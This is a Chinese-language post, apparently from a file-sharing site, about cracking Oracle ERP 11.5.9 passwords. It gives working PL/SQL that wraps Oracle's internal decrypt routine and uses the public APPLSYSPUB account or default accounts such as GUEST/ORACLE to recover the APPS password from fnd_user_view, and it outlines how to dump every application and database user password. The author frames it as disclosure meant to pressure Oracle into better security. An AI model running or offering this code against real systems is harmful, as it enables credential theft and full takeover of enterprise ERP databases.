1. 写作目的 1
2. 利用Toad或其它pl/sql工具在Oracle ERPDatabase中建立Package,源码如下...1
(1).建立Package Header1
(2).建立Package Body. 1
3. 取得APPS密码的步骤 2
4. 通过任何一个User name/password取得APPS密码的方法 2
5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法...3
6. 通过上面建立的Package取得所有Oracle ERPApplication User 密码的方法...3
7. 通过上面建立的Package取得所有Oracle ERPDatabase User密码的方法...3
8. 删除第一步建立的Package 3
9. 结论 3
10. 提高Oracle ERP的安全性 4
11. 此程序在Oracle ERP 11.5.9通过Toad测试通过.4
1. 写作目的
在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.
2. 利用Toad或其它pl/sql工具在OracleERP Database中建立Package,源码如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Bdy
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3. 取得APPS密码的步骤
假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢?我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
4. 通过任何一个Username/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
注: guestUserPwd :='GUEST/ORACLE';--Can any userpassword
上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行
- 大小: 36.6 KB
分享到:
相关推荐
Oracle ERP-根据用户名获得明文密码,在程序中调用oracle.apps.fnd.security.WebSessionManagerProc.decrypt
大的ERP厂家都使用Oracle数据库的原因之一。 1.4 Oracle9i产品的构成 - Oracle9i已经不是一个简单的数据库服务器产品,而是一个完整的应用系统运行,开发平台。 - Oracle9i的产品系列包括: (1) Oracle9i Database...
连接Oracle数据库请修改inc\conn_oracle.asp的连接数据库参数!! 3、产生的临时文件删除页面:file_list.asp! 4、查询时,%和*都可作为通配符! 5、超级用户admin,密码manager: 可进行系统维护及会员管理等所有...
1、受ORACLE数据库系统本身限制,对于ORACLE账套只有本账套恢复时才能恢复操作员密码,即A账套备份出来的数据在B账套上恢复时无法恢复操作员原密码,将重置为默认密码; 2、由于增加备份操作员密码,备份文件包含...
系统有4种皮肤主题,主要功能包括登录、注册、报表、找回密码、修改密码、用户管理、部门管理、菜单管理、字典管理、个人资料管理、信息发布管理、角色权限管理、邮件收发管理等等。 框架的数据持久层将添加、修改、...
ERP_day04_登录与密码管理_菜单动态读取_静态页面传参 ERP_day05_采购新增_订单_订单详细实现 ERP_day06_采购查询_审核_确认_入库 ERP_day07_销售查询_出库_确认出库_挂菜单 ERP_day08_按类型销售饼状图_按年份...
SAP ECC6.0 EHP8虚拟机,压缩包60G,解压后220G;零售行业方案及FMS组件,如需要标准EHP8可以还原虚拟机到原始状态,原始状态下未任何行业解决方案
阳光网驿,管理软件,行业软件,sunwy.com,信息化,ERP,远程接入,破解,金碟,用友,至商,任我行,速达,晋业,里诺,百威,科脉,服装,二次开发,瑞友,ctrix,极通,金万维,sap,oracle,勤哲- @* W8 {( z& f0 J2 D( R 第二步:在...
全新改进的数据中心,可以高效的建立起索引与全文搜索,并支持Oracle(甲骨文)数据库计算机,集成与金蝶K3对接体系,高端计算机,启动未来;其中系统新增的广告功能中,可以生成柱状图、饼状图、曲线图等形态,对数据...
MIME(SecureMultipurposeInternetMailExtensions)、并提供手持设备上数据加密功能、保障手持设备上的信息、并容许IT推行密码保障策略。 *IT部门管理功能-BlackBerryEnterpriseServer提供合乎行业标准的监视功能...
等等,目前兼容浏览器(Chrome、Firefox、360浏览器等)7、适用范围:可以开发OA、ERP、BPM、CRM、WMS、TMS、MIS、BI、电商平台后台、物流管理系统、快递管理系统、教务管理系统等各类管理软件。JavaWeb功能特性:...
集成供应链套件 高度可定制零售供应链中台基础系统,中台管理界面可通过javascript高阶函数定制,Java后台主要通过增加方法或替换现有的大量方法来灵活定制。 本系统代码是用自研知识图谱和因果...密码 平台 139000000